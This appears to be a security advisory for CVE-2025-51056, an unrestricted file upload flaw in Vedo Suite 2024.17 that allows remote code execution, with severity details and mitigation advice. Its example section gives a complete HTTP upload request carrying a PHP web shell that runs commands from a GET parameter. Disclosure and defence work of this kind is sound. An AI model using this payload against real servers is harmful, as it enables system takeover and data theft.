Overview
The CVE-2025-51056 is a severe security vulnerability that exists in the Vedo Suite version 2024.17. This vulnerability, if exploited by a remote authenticated user, could potentially compromise the system or lead to a significant data breach. The risk stems from an unrestricted file upload flaw in the ‘uploadPreviews()’ function in ‘/api_vedo/colorways_preview’. The vulnerability raises serious concerns for enterprises using Vedo Suite, as it can result in remote code execution (RCE). Ignoring such a threat could result in severe consequences, including data leakage or complete system takeover.
Vulnerability Summary
CVE ID: CVE-2025-51056
Severity: High (8.2 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage
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Product | Affected Versions
Vedo Suite | 2024.17
How the Exploit Works
An attacker, once authenticated, can exploit this vulnerability by sending a specially crafted request to the ‘uploadPreviews()’ function in ‘/api_vedo/colorways_preview’. The function does not properly validate the uploaded file, allowing the attacker to upload files to arbitrary locations within the server’s filesystem. This functionality can be misused to upload malicious scripts or executables, which, when executed, can lead to remote code execution.
Conceptual Example Code
The following conceptual example demonstrates how an attacker might exploit this vulnerability:
POST /api_vedo/colorways_preview HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker uploads a PHP script that can execute arbitrary system commands passed through the ‘cmd’ GET parameter. If the server processes this uploaded file, it can lead to remote code execution (RCE).
Mitigation
Users of Vedo Suite version 2024.17 should apply the vendor-supplied patch to fix this vulnerability as soon as possible. In the absence of a patch, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide a temporary mitigation by blocking or alerting on suspicious activity. However, these are not long-term solutions and should be supplemented with the patch once available.